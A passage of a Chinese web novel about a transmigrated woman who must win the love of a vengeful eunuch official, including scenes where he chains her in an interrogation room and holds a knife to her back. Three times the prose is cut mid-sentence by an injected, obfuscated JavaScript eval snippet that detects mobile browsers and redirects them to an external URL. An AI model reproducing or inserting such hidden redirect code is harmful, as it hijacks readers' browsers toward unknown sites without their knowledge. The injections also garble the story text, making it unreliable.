“青萍姑娘,都是我不好,我没有能保护住你。你要是生气的话,你就打我吧,你打我几巴掌都可以。”常子充说着就来拉赵青萍的手作势要往他脸上扇去。 赵青萍赶紧把手抽回来,她现在有点害怕这个常侍卫了,他的精神好像有些不正常。 “常侍卫,我真的不怪你,你千万不要自责。你的条件这么好,肯定能找到心仪的姑娘。我已经成婚了,嫁的还是太监,再跟你拉扯实在是不合适了,恐怕对你的名声有损。我看……” “不,我只喜欢你,青萍姑娘你不要妄自菲薄,嫁给太监不是你的错。” 赵青萍真的要发疯了,这个人根本讲不通。她眼睛一转,高兴地朝前面伸手,“荀公公,你来接我啦?” 荀公公……常子充听到赵青萍喊也没有回头看,整个人就紧张地呆住了。 赵青萍赶紧趁这个空档提起裙子往前头跑了几步,那厢常子充回头发现赵青萍在骗她本来想追上她再说说话,结果从御花园那头走来的另一个侍卫叫住了他。 回头看常子充被人绊住了没有追上来,赵青萍觉得心里头松了口气。伸手看时间只剩三十多分钟了,她加快脚步往前走,又走了十多分钟,快走到夹头尽头遇到了来接她的宝全。 “夫人,老爷让我过来接你去永宁宫,太后娘娘想要见一见你。”宝全笑道。 永宁宫离青宁还要走个半个多钟头,赵青萍整个人如遭雷击。 她擦了擦额头的汗水,问宝全;“老爷在哪里?” “老爷正在永宁宫陪太后说话。” 赵青萍完全泄气了,她的第一个任务肯定失败了。她深深吐了口气,跟着宝全往永宁宫的方向走。 “宿主,你还有十六分钟的时间,你不打算再努力一把吗?”系统问她。 “我又不能跑过去,十六分钟根本不够,系统你能给我再加点时间吗?” “非常抱歉,不可以。不过鉴于你是第一次完成任务,我可以给你申请减轻惩罚,从原来的一天改为十二个小时。” “好吧。”赵青萍无奈答应。 宝全看赵青萍一副闷闷不乐地样子,问道:“夫人在宝安宫可是受到萧贵妃刁难了?” 萧贵妃在宫里向来是嚣张跋扈的作风,夫人之前企图爬龙床,萧贵妃肯定还记恨在心,她去宝安宫铁定是会遭到刁难。 赵青萍摇摇头,“还好,萧贵妃只是让我多跪了一会儿,没有怎么为难我。” 真正让她难过的是接下来要牙痛十二个小时啊,她之前有次牙龈发炎都疼得她浑身难受,这次疼十二个小时,她已经预想到是种怎样的痛苦了。 又走了一段路,系统的声音再次传来,“宿主,倒计时即将结束,惩罚即将开始,请做好准备。” “10,、9,8……0。” 系统刚播报到0,赵青萍的牙齿就开始毫无征兆地痛起来,左边右边上面下面的牙齿全方位的痛。她都说不清楚疼的究竟是哪颗牙齿。她的眼泪也伴随着牙痛滚滚掉落,她不想落泪,但这种生理性的疼痛她根本无法控制。 宝全听到她压抑的啜泣声,更是肯定了她在宝安宫受到刁难的想法。一时间对她有些可怜起来。 到了永和宫,太后正在和荀秋说话。太后今年五十出头,保养得宜,看起来只有三十多岁的样子,穿着宝蓝色绣葫芦纹样的袄裙。面相上是江南地区的温婉,周身却透露出一种不可侵犯的威严。 太后打量了她一阵,就把她晾在一边继续和荀秋说话。只在走得时候嘱咐了她两句让她和荀秋两人好好过日子,然后赏赐了她一对价值不菲的翡翠手镯。 赵青萍忍着牙痛道了谢,便跟着荀秋一起出宫。 7. 爱意值加一 在回府的马车上,赵青萍疼得用两只手捂住自己的脸。 荀秋问她:“怎么,娘子在宝安宫里被贵妃娘娘拔牙了?” 赵青萍没有心情和他说话,她的整个脸都已经痛到麻木了。 荀秋坐到她身边,拿掉她的手,憋笑后对她说道;“张开嘴,我看看。” 赵青萍蹙眉,他幸灾乐祸的样子太明显了。 她别过脸去,荀秋伸手捏住她的下巴逼她看着自己。 “张嘴。”他又说了一遍。 赵青萍张开嘴,荀秋抬起她的下巴,往她的嘴里看没有看出什么异样。他嘲讽道:“娘子无故牙痛,或许是上天给你的报应吧。” 荀秋掀开了马车侧边的车帘,阳光穿过他的耳廓,照亮了他的半张脸庞,他皮肤白净,此刻脸上细小的绒毛也在阳光下发着光。赵青萍捂着两颊看向荀秋,荀秋也在看她,他目光冷冰冰的,没有一点温度。 他肯定还是很恨她。 赵青萍的牙痛一直到晚上才结束,她没有吃午饭,也没有吃晚饭。肚子很饿,牙齿却疼得连喝水都困难。万幸荀秋没有趁她难受来作弄她。 第二天一早,赵青萍在荀秋醒后也跟着起床。看到她神采奕奕的样子,荀秋乜她一眼,“夫人牙齿好了?” 赵青萍对他露出一个灿烂的笑,“托夫君的福,好了。” 荀秋急着去玄禁卫,没有故意为难赵青萍,两人一起安静地吃完了早饭。 吃完早饭,赵青萍无事可做,又转头去睡了一个回笼觉。醒了之后又和小彩一起逛园子。只要荀秋不在,她在荀府里的生活其实很自在,有吃有喝,想睡到什么时候就睡到什么时候。 下午实在无聊,她就看小彩做衣裳,元一给了小彩两块浅色带花纹的绸布,让小彩自己做侍女需要的衣裳穿。小彩的手艺不好,半天也缝不好一块。 原身是很会做女红的,赵青萍拿过小彩手里的布料,脑子还没回忆出来手上已经机械性地动作起来。 小彩看着她灵巧的飞针走线,赞叹道;“夫人,你手艺真好。” “你想学的话我可以教你。” 小彩用力点点头,“我想学。” 赵青萍正教着小彩用针的手法技巧,脑子里头系统的声音又出现了。 “宿主,请查收新的任务,为了你获得第一个爱意值,请在两个小时内找到荀秋,并为他送去一份吃食。任务完成将获得一个爱意值。倒计时现在开始。” 赵青萍一句话还没说,系统已经关闭。她伸手看自己的手心,秒针上的数字正在转动。 小彩见赵青萍看着自己的手心,她也偏着脑袋看过去,结果什么也没有看到。 “夫人,你在看什么啊?” 赵青萍摸摸小彩的脑袋,摇头道:“没有什么,你之前都在厨房帮忙,知道老爷喜欢吃什么吗?我想给他送点点心过去。” 小彩回想了一下,道:“老爷喜欢吃枣泥糕,元一公公经常到厨房里来拿。” 赵青萍叫来元一,让他去厨房里拿一份枣泥糕装好,她要去玄禁卫衙门找荀秋。还好今天早上她问了一嘴,要不然又不知道该去哪里找他。 玄禁卫衙门在鲤鱼巷,离荀府隔了条流泉巷和青龙大街,过去只要半个时辰的车程。听元一讲玄禁卫里头抓的都是一些要犯,最近就在审理西北的安远将军侵吞军饷的案件。元一还说里头行刑的场面有些血腥,对待顽抗不招供的,玄禁卫有许多手段。 赵青萍看小彩年纪还小,怕她见了晚上做噩梦,便叫她守在家里继续做她的衣裳。她跟着元一两个人去就行。 玄禁卫的衙门外表看上去跟普通的官署没有什么两样,一块写着玄禁卫三个字的黑底红漆的匾额高高挂在门头。门口站着六个穿着玄色织金曳撒的玄禁卫,一脸杀气,他们腰间皆挂着宝剑,手按在剑柄上随时准备好出鞘。 好在门口的人认识元一,赵青萍顺利地进入了玄禁卫里头。玄禁卫的分上下两层,上面是办公的官署,地下则是审讯和关押犯人的牢房。 赵青萍在官署里头找人问荀秋的踪迹,在官署的最外间的一个房间里找到了在和人聊天的一个魏千户。 “夫人,都督正在下面审问犯人,夫人先到里面休息,下官去帮夫人通禀。” 赵青萍看了一眼自己掌心的时间还有一个多小时,可是想到昨天牙疼的经历,她不想冒险,能尽快见到荀秋就能尽快完成任务。 她对魏千户道:“我还是想先见到老爷,劳烦魏千户带个路吧。” 按理说外人是不得进入玄禁卫的大牢,可是赵青萍是都督的娘子,魏千户想了想,笑着对她点头;“夫人跟我来吧。” 魏千户带着赵青萍从地上一座不起眼的小门进去,经过三层铁门之后进入地下牢房。里头是一个昏暗的世界,尽管燃着蜡烛,每间牢房里头也凿有窗户,外头明亮的阳光终究是照不进这个地下世界。通道两边都关押着囚犯,囚犯身上的锁链碰撞出叮叮咚咚的声响,腐臭味和尿骚味充斥着这里的每一个地方。 赵青萍用袖子捂起口鼻,跟着魏千户七拐八拐后终于到了里头的一个审讯室门口。 隔着木栏杆赵青萍看到了里头的荀秋。他坐在桌子后头神情冷淡地听着石安远审问囚犯。一身玄衣,明亮深邃的眼睛如同正在狩猎的鹰隼。 赵青萍已经看见荀秋,系统却没有传来任务成功的提示。 “系统,我不是已经看到荀秋了,任务怎么还没有完成呢?” “宿主,攻略对象荀秋也必须看到宿主并且亲口吃到宿主带去的食物才算成功。宿主今天的剩余时间充裕,相信宿主一定能完成任务。” 赵青萍低头看了眼自己手里提的食盒,好吧,还差一点她就可以完成目标。 魏千户把她带到旁边的一间空的审讯室,“夫人先在这里稍候,下官这就进去禀报都督。” “好,多谢。” 这个审讯室与旁边荀秋呆的那个有所不同,门不是透明的栅栏门,而是严严实实的包着铁皮的木门,里面还设有吃饭和休息的几张桌椅,只有在靠墙的最里头才设有一个捆绑犯人用的木架。因此这间房看起来倒像是给玄禁卫休息的地方。 元一拿出手帕擦干净了一张椅子,对赵青萍道;“夫人,你坐着等老爷吧。” 赵青萍不好拂他的意,在椅子上坐了下来。 元一安静地站在她的身后。赵青萍回头看他,她都还没有好好了解过这个天天帮她的小太监。 她站起身,走到元一身边,微笑着问他:“元一,你今年多大了?” “回夫人,我今年十七岁了。” “你是什么时候进的宫?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516363|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵青萍又问。 “我八岁就进宫了,那年我娘去世把我托付给我叔叔,我叔叔家人也多,养不起我就把托给中人,送进了宫里。我个子小,原来一直在浣衣局帮忙洗衣裳,后来老爷有次遇到我就把我提拔到了身边做事。” 赵青萍点点头,元一说的很简略,里面多年的辛楚肯定都是不简单的,一个深宫里头的无权无势的小太监肯定活得很艰难。 “那你知道老爷他刚进宫的时候是干什么吗?”赵青萍问元一。 元一摇摇头。他之前一直在浣衣局没有接触过荀秋,等他知道荀秋的时候,荀秋已经是司礼监的秉笔太监了。 赵青萍叹了口气,目光望向烛台上跃动的火焰。 “夫人想知道怎么不亲自问我呢?” 听到荀秋的声音,赵青萍有些意外,还真是说曹操,曹操到。她转过身见荀秋站在门口,脸上噙着冰冷的微笑。 荀秋的什么眼神现在都吓不倒她,她只祈祷任务赶紧完成,不要再让她牙痛。 “老爷,你来了?”赵青萍走到荀秋身边搂住荀秋的胳膊。 荀秋的眼刀落在赵青萍的身上,她全都当作没看见。把荀秋拉到椅子上坐下后她从食盒里头拿出枣泥糕。 “老爷,我听说你喜欢吃这个,特意吩咐厨房做的,老爷你赏脸吃一口吧。”赵青萍把碟子放到荀秋的面前。 只要荀秋吃下一口,她的任务就能完成,这次一定没问题。 荀秋把碟子推到赵青萍的面前,“谁告诉夫人我喜欢吃枣泥糕的,我不喜欢吃。” 专门给他送碟枣泥糕来,他和她的关系似乎还没有那么亲密。 赵青萍的笑容僵在脸上,好你个荀秋。 她伸手从碟子里头拿出一块起身递到荀秋的嘴边,“夫君,妾身大老远过来,夫君连赏脸吃一口都不愿意吗?” 荀秋捏住赵青萍的手腕,一双眼睛盯着她,想要看穿她的目的。赵青萍心中只有完成任务的渴望,她含情脉脉地回望荀秋,“夫君一直盯着人家看,人家会害羞的。” 荀秋没看出她有什么阴谋,松开了她的手腕。“我还要去审讯囚犯,元一你送夫人回去。” 说完荀秋就要起身离开,赵青萍赶紧起身坐到荀秋的大腿上,两只手搂住荀秋的脖子不放。他要走,他走了自己的任务怎么办,她才不想又牙疼一天。 宝全,孙昊和元一看到赵青萍的动作,全都齐齐地别过脸去。 “赵青萍,你想干什么?!”荀秋喝道。他从来没和女人做过这么亲密的动作,还在玄禁卫这种地方,赵青萍这个女人简直无法无天。 赵青萍看到荀秋的耳根子都红了起来,她心中好笑,她在荀秋耳边道:“老爷,人家就是想让你吃块枣泥糕,那么远提过来,我手都提酸了。” 说着又把手里的枣泥糕递到荀秋的嘴边。 荀秋眼睛扫到角落里的木架,对赵青萍说;“一定要我吃?” 赵青萍兴奋地点头,枣泥糕又往前递了递。 荀秋张嘴咬了一小口。 “恭喜宿主,完成任务,获得一点爱意值的奖励,现在攻略进度1%,请宿主继续加油。” 终于完成,赵青萍准备从荀秋身上起身,对方突然却搂住她的腰不放。 “你们先出去,我和夫人有话要说。” 8. 囚她 三人出去后,宝全还贴心地关上了门。 “老爷,你不是说还有事情要忙吗?妾身就先回去了。” 赵青萍总觉得情况不妙,荀秋肯定在想什么阴招报复她。她要赶紧溜。 感觉到赵青萍想跑搂住她腰的手又收紧了几分,拿过她手里的一小块枣泥糕,笑道;“枣泥糕的味道不错,娘子也尝尝。” 说完把枣泥糕递到赵青萍的唇边,一双眼睛死死盯着她。 赵青萍无奈张开嘴把枣泥糕三两下吃下肚。这死太监真是一点亏都不能吃。 “老爷,现在可以了吧?”赵青萍企图去掰开她箍住自己腰的手。 荀秋的另一只手打了她的手一下,笑道:“慌什么,府里又没有事情需要娘子操心,娘子就在这里陪陪为夫吧。” 说完拦腰把赵青萍抱起,径直走向那个绑犯人的木架。 赵青萍想过很多种自己被公主抱的场景,没有想到是被一个太监在这样的场景下抱的。毫无浪漫可言,全部都是惊吓。 荀秋把她放在木架前,拉起她的右手就用铁链锁好。她要玩,他就陪她玩,她欠他的,一辈子都还不清。 赵青萍反应过来荀秋是想把她绑在这里,她用力想挣脱,被绑上的手却纹丝不动。 “娘子不要白费功夫,落在我手上的人还没有一个能跑得掉的。” 荀秋又开始往她左手绑上铁链。 “夫君,这样好痛啊,你把我放下来吧。我可以坐在椅子上陪你的。” 荀秋绑好了铁链,退后两步欣赏自己的手艺。赵青萍眼里明明淬着火,脸上还是挂着谄媚的笑容,多么虚伪。 赵青萍的双腿也被捆住,她连踢荀秋两脚都不能够。想让荀秋大发慈悲放过自己简直是妄想。赵青萍决定感觉不挣扎省点力气,她毕竟是皇上赐婚,荀秋还不敢把她杀了。只是以荀秋对她恨意来说她真的能完成在三年内让荀秋爱上自己的目标吗?感觉希望十分渺茫,她或许只有三年好活了。 想她27岁寿终,加上未来的三年,她最多活到三十岁。两辈子都要英年早逝,赵青萍在心里默默给自己掬了两把同情泪。 见到赵青萍沉默,荀秋冷哼一声,他走到一旁闲置的铁炉里拿出了一把烙铁。 瞥见他的动作赵青萍想闪身往后躲,但她的身后是捆绑她的木架,她根本无路可去。 荀秋把她的惊惶尽数收在眼底,他拿起烙铁一步步走近赵青萍。 赵青萍已经浑身起了鸡皮疙瘩,这个死太监究竟想干什么! 荀秋走到赵青萍的面前,仔细打量她的脸,这样好的长相长在她身上还真是浪费。他把手里的烙铁举起来,对她解释;“不知道娘子见没见过这个,这是烙铁。用它的时候把它放到木炭里头烧红,然后拿起来。” “滋。” “烙到犯人的身上,再顽固的犯人也挨不过这烙铁烙几下。” 他话说的很平淡,举着的烙铁却离赵青萍的脸越来越近,赵青萍从来都没欺负过谁,就为了能在这个世界苟活下去要和荀秋这个恶魔纠缠。她心里委屈得很,眼睛里头又有眼泪想要流出来,她知道荀秋就想看她难受的样子。她别过脸,吸了两下鼻子,把眼睛里的泪水生生憋回去。他想看她流泪她偏不如他的意。 赵青萍比他预计的有胆气一些,他撇嘴一笑,又跟她说起这间审讯室的故事。 荀秋用手指在空中轻点,“这里其实是玄禁卫的第一间审讯室,来来回回审问了有几千个犯人,他们都被绑在娘子你身后的这个木架上面。他们在上面接受审问,拷打,还有炮烙。死在这个木架上的人少说也有几百个了。” “你不要说了!”赵青萍吼道。 荀秋果然停了下来,走到她面前凑近欣赏她眼神里的恐惧。 他离她很近,两个人的鼻尖几乎要挨在一起,赵青萍浑身颤抖,她最终还是向荀秋投降。“夫君,我害怕。” 荀秋贴近她的耳朵,用他磁性的声音幽幽说道:“娘子不必害怕,这里,有几百个鬼魂和你同在,他们都在看着你。” 赵青萍的眼泪还是不争气地掉了下来,荀秋这个疯子! 看到她的眼泪,荀秋的心情重新好起来,他笑道:“娘子,为夫还要接着去审讯囚犯,娘子就在这里乖乖等我。等我下值我就过来接你。” 荀秋把手里的烙铁放回原位,又把屋内燃着的四根烛台挨个熄灭。 门口的三人依稀听到了他们的谈话,孙昊和宝全都是跟着荀秋多年的老人,对荀秋的脾气很是了解,他们见荀秋出来一句话也没有说。 元一这几天跟赵青萍相处,对她也生出了几分亲近,便向荀秋问起她,“老爷,夫人呢?” 荀秋关上审讯室的门,对元一道;“夫人在里面休息,我下值会和夫人一起回去,你自己先回去。” “是。”元一领命离开,走前还是忍不住朝审讯室里面看上一眼,里头的灯光已经熄灭。 漆黑的房间已经把赵青萍吞没了,只有零星的几缕光线从通风口透进来照在斑驳的墙面上。她眼泪不停在流,一滴一滴打湿了脚底的青砖。 她人生中也有过两次被关在黑屋子里的经历,一次是她初中帮同学打抱不平被两个男生关到体育场的器材储藏室里。 一次是在她刚工作的第一年,电梯故障她被困在电梯里。那一次她认识了唯一的一个男朋友。他是一个消防员,阳光帅气,他从天而降把她从黑暗里面拖出来。后来她发现自己只是他鱼塘里的一条鱼,她的编号是小七,前面有六个,后面不知道有多少个。 她提了分手,他让她把送她的东西全部折成现金还给他。 她的第一次恋情就这么荒唐地结束。她没再对谁动过心,她努力挣钱,天天加班,只想有一个自己的房子。不必很大,能装下自己就好。她省吃俭用终于存到了首付,因为一次见义勇为她就被甩到了这样的时空。她不后悔救人,她只讨厌背负一段根本不属于自己的命运。 到了申时末,连通风口微弱的光线也被黑暗吞噬,赵青萍的眼里已经没有了泪水。 她还是很难过,大哭过一场后心中的恐惧却大大减轻。不管怎样,有机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516364|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还是要活下去。荀秋再难攻略,她都要凭借自己的努力让他爱上自己。她相信自己是绝对值得被爱的。 犯人死死咬住自己不是侵吞军饷的主谋,荀秋和她不断周旋,拿出了其他囚犯的口供和军饷记录的账簿对方才松了口认罪。 石安远整理犯人的口供,对荀秋道:“都督,夫人还在等你,这些我来弄就好,都督先陪夫人回家吧。” 荀秋扫了一眼他手里的材料,对他点点头。 他从外面的走廊里头拿走了一个烛台,走到审讯室的外面停住,想听听里面赵青萍崩溃的哭喊声,出乎他的预料,什么声音也没有听到。 “你们就在外面等我。”荀秋对身后的孙昊和宝全说道。 赵青萍在黑暗中呆了几个小时,听觉也变得敏锐起来,荀秋说话的声音不算大,她还是听到了。她的双臂酸痛不止,后背也被木桩硌得生疼。她望向门的方向,明亮的烛光照进来了。荀秋手里擎着烛台,他的眉眼冷若寒峰,脸上带有几分倦容。 荀秋目光看向赵青萍的方向,隐约能看到黑暗中她模糊她的身影。 荀秋走到她的面前,目光直直落在她的脸上。她居然没有流泪,只依稀能从脸上看到哭过的痕迹。见到他的一瞬赵青萍的脸上又露出了那种讨好的笑容,笑不达眼底,和他一样,假得很。 他笑道:“看来是为夫低估了娘子,短短几个时辰娘子就已经适应了这里的环境,当真叫我意外。” 赵青萍不想再惹怒他和他争执,她脸上的笑容加深,“妾身才没有适应这里,妾身只是知道夫君一定会回来找我,所以才不那么害怕。” 满嘴的花言巧语,言不由衷的假话。荀秋冷冷瞥了她一眼,转身一一点燃了审讯室里的烛台。 赵青萍的世界重新回归明亮,她对朝他走来的荀秋道:“夫君,现在可以放我下来了吧,妾身的全身都好痛啊。” 荀秋伸手从革带上解下一把钥匙,三两下解开了赵青萍身上的锁链。 他没有看她脸上的神情很是冷淡。 赵青萍浑不在意,她终于又恢复了自由。她的眼睛里头又涌出了泪水,她感受到眼眶湿润赶紧用衣袖擦干。 荀秋转身看到了她擦泪的动作,眼中没有半分怜惜,冷声道:“走吧,娘子,我们该回家去了。” 说完就越过赵青萍往外头走去,赵青萍连忙跟上他,见到她带来的食盒还在桌子上又赶忙把食盒带上。 荀秋人高腿长,脚步很快,赵青萍一路小跑才跟上他的步伐。从地下的牢房出来外头已经是黄昏的天色。玄禁卫里栽种的几篙翠竹在夜风里轻摇,单看这景象还有几分诗情画意,任谁也不会联想到这个庭院下头就是让人闻风丧胆的玄禁卫大牢。 玄禁卫门口,马车已经套好。宝全接过赵青萍手里的食盒。赵青萍几个小时滴水未进现在口中如有火烧,想赶紧回府喝上满满几大杯的凉水。 荀秋站在马车前,迟迟没有登舆,他仰头看了好一会儿天上的流云,接着对赵青萍道:“娘子,难得这么好的天气,为夫带你去一个地方。” 9. 道歉 赵青萍知道他绝对没安好心,还是笑着点点头,“妾身都听夫君的安排。” 登上荀秋的马车,赵青萍感受到了新的震撼,这辆车空间宽敞,处处透露出低调的奢华。车厢里头还有一个紫檀的茶几。赵青萍一上车就盯上这了茶几上的茶壶。 她凑到荀秋面前,“夫君,妾身想喝水。”赵青萍一边说一边手指向车厢中间的茶几。 她真的要渴死了,死太监总不能连水都不让她喝吧。 荀秋看到了她舔嘴唇的动作,轻轻颔首。 “多谢夫君。”赵青萍得到他的默许,对他说出发自内心的感谢。 三杯茶水下肚,她冒烟的嗓子终于得到了拯救。可惜这个茶壶太小,她掂了掂只够再倒最后一杯茶。想了想,赵青萍还是重新拿了一个茶杯,倒好茶后。她端起茶小心的走到荀秋的面前。 “夫君,喝茶。”赵青萍笑着把茶递到荀秋面前。 荀秋正在看书,他抬眼看了一眼面前的赵青萍又越过她扫了一眼她身后的茶几。 赵青萍猜他肯定是怕自己拿她喝过的茶杯给她,解释道:“夫君,这个茶杯是干净的。” 荀秋点头,“你喝吧,我不渴。”说完又继续看书。 没想到死太监还有像人的时候,赵青萍本来也还渴,两口把茶杯里的茶水喝完。 刚放好茶杯,荀秋就悠悠说道:“我从不喝马车上的茶水,我仇家太多,也不知道哪天会有人来下毒。” 看见面前那个被自己喝个精光的茶壶,赵青萍真的很想拿起一旁的茶杯往荀秋的头上砸去。他就是故意跟自己过不去,非要等自己喝完又来给她添堵。不过她可不信他的话,要是有人能跑到他的马车里头下毒,那他这个玄禁卫的都督也算白干了。 整理了一下思绪,赵青萍又坐到荀秋旁边,“夫君,我们这是去哪儿啊?” 荀秋侧过头看她,笑道:“故地重游,娘子你会喜欢的。” 不知道他打什么谜语,赵青萍坐到另一边靠着车壁打起盹来。她累极困极不多时就已经睡着。 荀秋合上手里的书,偏过头看向她的睡颜,她双眼紧闭,红唇微张,烛光底下显得如此温柔恬静。她不该如此,这只是她的伪装,她恶劣的本性就隐藏在她美丽的外表之下。他早就领教过的,赵青萍哪怕长大骨子里头也还是那个欺凌弱小的坏女孩。 “吁……”马车停了下来。 前头赶车的孙昊朝车厢里头喊道:“老爷,至味楼到了。” 荀秋看了一眼旁边的赵青萍,她还在睡梦之中,他叫了两声她的名字,她睡得太熟完全没有听到。看到她饱满的脸蛋,荀秋走过去用手掐住。 赵青萍被脸上的疼痛弄醒,她睁开眼睛发现正是荀秋在作怪,她拍拍自己被他掐过的脸蛋,双眼怨恨地盯着他看。 荀秋轻笑,“走吧,娘子,到地方了。” 下了马车,抬头看到是一座三层高的酒楼,招牌上写着至味楼三个字。赵青萍抬眼看了眼荀秋,他会这么好心带自己来吃饭,她总觉得是不大可能。正在思索,酒楼对面传来了一个小女孩的哭声。 赵青萍转身望过去,只见是一个七八岁的小姑娘蹲在对面的路沿上哭。赵青萍见不得这种事情,她赶忙走过去,蹲到小姑娘面前,轻声问她:“小妹妹,你怎么了?” 小姑娘抬起头看她,用袖子擦了擦自己的眼泪,不好意思道:“我刚买的糖葫芦掉在臭水沟里了。”她跟赵青萍指着旁边的水沟。“我娘一个月才准我吃一次糖葫芦,都怪刚刚跑过来的一只猫把我吓了一跳。我的糖葫芦一口都还没吃。” 赵青萍依稀能看见水沟里头糖葫芦的影子,她忍住笑,问道:“你的糖葫芦是在哪里买的?” 小姑娘往旁边的巷口指,“就是那里,他家糖葫芦最好吃。” 赵青萍顺着小姑娘指的方向望去,果然有个老头在坐在石阶上头卖糖葫芦。还没到宵禁的时间,商家们都还在招徕顾客,街头上人头涌动。赵青萍跑过去买了一串糖葫芦,走过来送给小姑娘,“姐姐请你吃一串,不要哭了,早点回家去吧。” 小姑娘的看到糖葫芦眼睛又亮起来,“多谢姐姐,你也吃一颗吧,很好吃的。” 赵青萍摇摇头,“我不爱吃,快回去吧。” “秀丫,秀丫……”巷口传来一个妇人焦急的声音。 “我娘在叫我了,谢谢姐姐,我走了。” 赵青萍看着小姑娘的身影露出了满足的笑容。 “没想到娘子还会帮助人呢?”荀秋嘲讽道。 赵青萍脸上的笑容僵住,荀秋真的无时无刻都要找她的不痛快。冤冤相报何时了,她要大度一点。她笑道:“赠人玫瑰,手有余香。我一贯是如此热心助人。” “是吗?”荀秋冷声道。 赵青萍转过深看向他,“夫君不是要带我故地重游,走吧。”赵青萍伸出手做出引导的姿势。她刚才晃眼看到至味楼的建筑才反应过来这里的前身就是原身家的赵记酒楼。当年父母去世后就落到了舅舅手里,舅舅后来经营不善就把它给变卖了。 坐在一楼的大厅里,荀秋招呼老板上了几个招牌菜。他环视这熟悉的布置,昨日的一切仿佛历历在目,他不幸的开端就是在这里,他不幸的根源就是面前的这个女人。 赵青萍察觉到荀秋不善的目光,佯装没有发觉低头慢慢喝茶。 不多时菜上齐了,荀秋道:“娘子看看可还喜欢?” 松鼠桂鱼,宫保鸡丁,佛跳墙,海味丸子汤。全部都是原来赵记酒楼的招牌菜。荀秋是在告诉她,他什么都没忘记。赵青萍在心里叹了口气,这怨仇真不能那么容易解决的。 看到赵青萍愁眉苦眼,闷闷地吃着菜,荀秋心里又多了一丝报复的快感。他高兴得连吃了两碗米饭。 回到马车上,荀秋脸上的喜色还没有消散,他继续拿起未读完书看。赵青萍心里天人交战,最终还是决定先跟荀秋倒一个歉,无论他接不接受,至少让他知道自己明白曾经对他的伤害。 她坐到荀秋的身边,抬头看着他,“夫君,我有话想对你说。” 荀秋瞥她一眼,她的眼神中流露出与以往不同的真诚和坚定,他眯了眯眼,以为自己看错了又定睛看了一次。他合上手里书,开口道:“不知道娘子想说什么?” 赵青萍咬了一下嘴唇,清了清嗓子,重新抬头看着他。 “我知道我做过很多伤害你的事情,我那时候很坏,我只是觉得好玩,没有想到给你的人生带来这么大的伤害,我知道我错得太厉害了,荀秋,我和你道歉。” 她的话都已经说完,荀秋的脸色反而更加难看,他的嘴唇在微微颤抖,眼睛里头是狠戾的目光。 荀秋睨着赵青萍的脸,她此时的目光真诚又柔和,无限包容地看着他。他忍住自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516365|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中想要流下的泪水,别过头去不再看她。他不信赵青萍是真的认错,她不过是因为畏惧,害怕有一天会死在他的手里。 赵青萍望着车顶怅然地叹了口气,荀秋明显拒绝和她沟通。是啊,轻飘飘的道歉在刻骨的伤痛面前算得上什么。 思及此她默默坐到另一边,掀开车帘看向窗外。夜凉如水,路边屋檐下照在青石板路上的灯光也是冰凉的。 荀秋从自己的袖袋中拿出一把刀鞘上嵌有蓝宝石的匕首,他用右手拔出匕首,目光冷冷地看着闪烁着寒光的刀面。他偏头过去看向坐在车窗旁的赵青萍。她既然想道歉,那自己也该给她一个机会。 荀秋起身走到赵青萍身后,手中的匕首霎时抵到赵青萍的后背上。 刀尖抵上她身体的一瞬,赵青萍浑身一僵,荀秋还是想要杀她。 感觉到她的害怕,她的呼吸也在颤抖着。荀秋冷声道:“你刚才不是和我道歉嘛,我可以接受你的道歉,那就是让我杀了你。” “赵青萍,你愿不愿意?” 他的声音没有温度,仿佛是吹在冰川上的寒风,蓦地把赵青萍整个人都给冻住。她现在哪里还有选择的权利,死神已经在对她招手了。 她闭上眼睛深深吐出一口气,只希望他下刀准点狠点好让她一击毙命,她心跳如鼓等待着死亡的降临。 匕首往前抵,赵青萍身上穿的葡萄紫色对襟衫的布料已经被刀尖划破,一点点猩红的鲜血从肌肤上渗出沁湿了衣料。 赵青萍两只手攥紧身上了身上的衣料,她轻声道:“给我给痛快吧。” 听到她的话,荀秋握着匕首的手顿住了,她真的愿意为了赎罪去死。她决绝的态度不是作伪,他审判过那么多的人分得清此间的真假。 他低头看着赵青萍松松的发髻,抽掉了上头固定发髻的一根金簪,如瀑的青丝泄落,他握着匕首的手也被她的青丝盖住。荀秋撩起赵青萍的一把头发,手中的匕首轻轻向上削去,刹那间青丝落地。荀秋把匕首归鞘收回袖间。眼神却依旧落在赵青萍的身上。 匕首离开赵青萍的身体的一刻,她知道荀秋放弃了杀她。她因害怕挺直的脊背塌下去,攥着衣裳的双手顿时从双腿上滑落。一滴泪水打湿了她的眼角。 她喉头哽咽一下才开口问他:“为什么?”为什么在最后又放弃杀她。 荀秋用手挽起赵青萍的一头青丝,给她重新挽了一个发髻,那支金簪重新插回到她的头上。 